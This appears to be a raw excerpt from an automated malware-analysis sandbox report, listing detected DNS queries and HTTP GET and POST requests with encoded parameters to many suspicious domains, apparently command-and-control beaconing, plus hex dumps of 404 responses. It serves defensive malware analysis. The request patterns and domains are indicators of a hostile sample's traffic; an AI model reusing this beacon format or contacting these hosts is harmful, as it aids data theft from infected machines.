            Source: global trafficHTTP traffic detected: GET /6u21/?OReh1rq=GVaOaFQ3d6G7AfxQOk7ieruxm+gnm5VVlXgM851fWwwgRz3TVn5fGEzA+wYxrv63HQoUWQChgi2b21NIV41GwDduJOaUHEyhnv8phiPJCKVCCwApj4Ws0eCXeq4Y+t0YLUqTKnAz4x3T&CvQl=nrm0ZhFpzl HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USHost: www.redlakedispensery.netConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
            Source: global trafficHTTP traffic detected: GET /2b9b/?CvQl=nrm0ZhFpzl&OReh1rq=cGufOJH0xlNic3+8ylCPTRRPYDBZneW0GcYDw7JK4Ijf+YRDc8nYj/foYKrurxlxMPIBZUG8OdJWDJilyjG8KsiFsJaKJojJJc8folsNnUfsqIHZ9MXgGXoTKP3Wf+FrY268bUo4cMTQ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USHost: www.launchdreamidea.xyzConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
            Source: global trafficHTTP traffic detected: GET /13ne/?OReh1rq=5f/xJzU+yNg+ckMqn3hIiphO517DsQ6C3a9UOIr4Am4abyoaRTootrA/Lbkip0rySLyDMLCpGQATty8VEy6JVvIDO149vjHOqC6Vt6M5zWl7l6vPUmUwE3Hu2vtdv9tSmFj1n1eMQI0X&CvQl=nrm0ZhFpzl HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USHost: www.bybitexchange.clickConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
            Source: global trafficHTTP traffic detected: GET /m55w/?OReh1rq=9llqS7l5r2fZE2qKLahaIkLgunrNzhdfh2Fa8uGkHzeY69X6DmW7eYPfa18EH489ndWHoC7ISC9XGeCzxUHdefh+2UUEydNUM+R9LWmaUjMU6yBTHkWVZyPnnhgR6zjaK6ylcCAOGnqo&CvQl=nrm0ZhFpzl HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USHost: www.kartal-nakliyat.xyzConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
            Source: global trafficHTTP traffic detected: GET /nnla/?OReh1rq=CqIQGQ0o8+jhRdpyYLS2Ou54wXZmDhGBl2CfLfjcYft2NeK1a5UMcHptbiGPm/AWvx7/GdfV8RGwRyU2PymhnZZ7RowUctSqrqn8UFFkmP+DJHtVFd6xywEuosIKzWdoXOs+sf4OzNSo&CvQl=nrm0ZhFpzl HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USHost: www.freedietbuilder.onlineConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
            Source: global trafficHTTP traffic detected: GET /2amq/?OReh1rq=TrqYGwWaHxniF7eNSKDkgIUevCh1dc5tnDDYGpgsaE/mtn8diYV+ickL9IcoZLc+jgEWqYyaPiUJOg0jMzRcZMH4Po/VVtmSjhfWTZt8/sN4EXefuBThivk80qQven1R3gWiVtinhRVX&CvQl=nrm0ZhFpzl HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USHost: www.elektromontaze.onlineConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
            Source: global trafficDNS traffic detected: DNS query: www.gcast.video
            Source: global trafficDNS traffic detected: DNS query: www.redlakedispensery.net
            Source: global trafficDNS traffic detected: DNS query: www.launchdreamidea.xyz
            Source: global trafficDNS traffic detected: DNS query: www.bybitexchange.click
            Source: global trafficDNS traffic detected: DNS query: www.kartal-nakliyat.xyz
            Source: global trafficDNS traffic detected: DNS query: www.freedietbuilder.online
            Source: global trafficDNS traffic detected: DNS query: www.elektromontaze.online
            Source: global trafficDNS traffic detected: DNS query: www.18kwatch.com
            Source: global trafficDNS traffic detected: DNS query: www.royapop.online
            Source: unknownHTTP traffic detected: POST /6u21/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-USHost: www.redlakedispensery.netOrigin: http://www.redlakedispensery.netContent-Length: 220Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedConnection: closeReferer: http://www.redlakedispensery.net/6u21/User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0Data Raw: 4f 52 65 68 31 72 71 3d 4c 58 79 75 5a 7a 77 51 42 38 4f 43 51 2f 31 35 41 58 37 44 63 5a 72 30 6d 36 73 6a 6b 5a 52 57 71 6e 74 6e 33 70 42 58 45 67 46 51 4d 67 57 70 54 78 6b 59 4f 47 79 39 75 7a 73 79 72 66 47 37 4b 42 78 33 4b 78 57 50 6a 77 32 30 36 47 63 71 57 4a 46 42 33 6d 73 54 59 59 44 74 41 45 2b 57 7a 65 51 44 73 52 2f 6e 4f 4c 52 61 50 54 35 36 71 59 57 33 38 34 36 75 46 59 68 4b 75 34 73 39 4d 57 57 6d 45 53 6f 49 67 78 2b 49 6e 4e 55 34 30 72 30 6a 6e 44 6c 65 39 50 57 4c 70 69 2f 44 39 58 31 79 41 51 30 6d 44 61 32 43 6d 53 68 50 34 33 53 6d 30 75 76 42 77 6a 73 39 31 6a 4f 61 57 62 36 43 36 37 30 71 4c 31 51 51 59 6b 47 52 48 77 3d 3d Data Ascii: OReh1rq=LXyuZzwQB8OCQ/15AX7DcZr0m6sjkZRWqntn3pBXEgFQMgWpTxkYOGy9uzsyrfG7KBx3KxWPjw206GcqWJFB3msTYYDtAE+WzeQDsR/nOLRaPT56qYW3846uFYhKu4s9MWWmESoIgx+InNU40r0jnDle9PWLpi/D9X1yAQ0mDa2CmShP43Sm0uvBwjs91jOaWb6C670qL1QQYkGRHw==
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Frame-Options: SAMEORIGINDate: Wed, 23 Oct 2024 15:32:22 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 23 Oct 2024 15:32:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=INkPOlDFuUlbBNdsG1UqDBQGyZND8dojTxCdtKYVZ2N83eVaGuG%2Fh7nq9dEG%2B7O0ZDmNeFBxTWR%2Blihb6cfFg5Pj5XB2gVzJkMu0mrGhCajfIjFYPgfR1xGPbLBjM0fH1F6l0AvKtnW%2BVQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d72c855be244790-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1298&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=732&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyzzIy%jaC]7X0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 23 Oct 2024 15:32:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RBbcnxBMoQvEYASkxLhZKo6lHwzjl1NPKdkEuEgY8bkpGYocBBVBjgs%2FUP%2BtPQKLorxoTba3rXx2rrjMBlCkCiuVf%2B5mvzQwI4Uop4mRwMzGvTZzK8d%2FsijJs25H6r8C9eV6jMR6c6xAxg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d72c8659971e75a-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1985&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1745&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyzzIy%jaC]7X0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 23 Oct 2024 15:33:00 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zdtsmOu0CGBwzVpvrKJBaOpxjTKYznUeTLYNw4OgJUc2VizloHiwbKa8uWI0Qv7cbMjhxJt20s0l0ON3%2BVRewNtTOAb1z2opncUzU6KgAlU35EUzNPczvZRNTwOvogLTsMfVEhGgXRwxNA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d72c8758bf5474f-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1181&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=437&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 23 Oct 2024 15:33:07 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 23 Oct 2024 15:33:10 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 23 Oct 2024 15:33:12 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 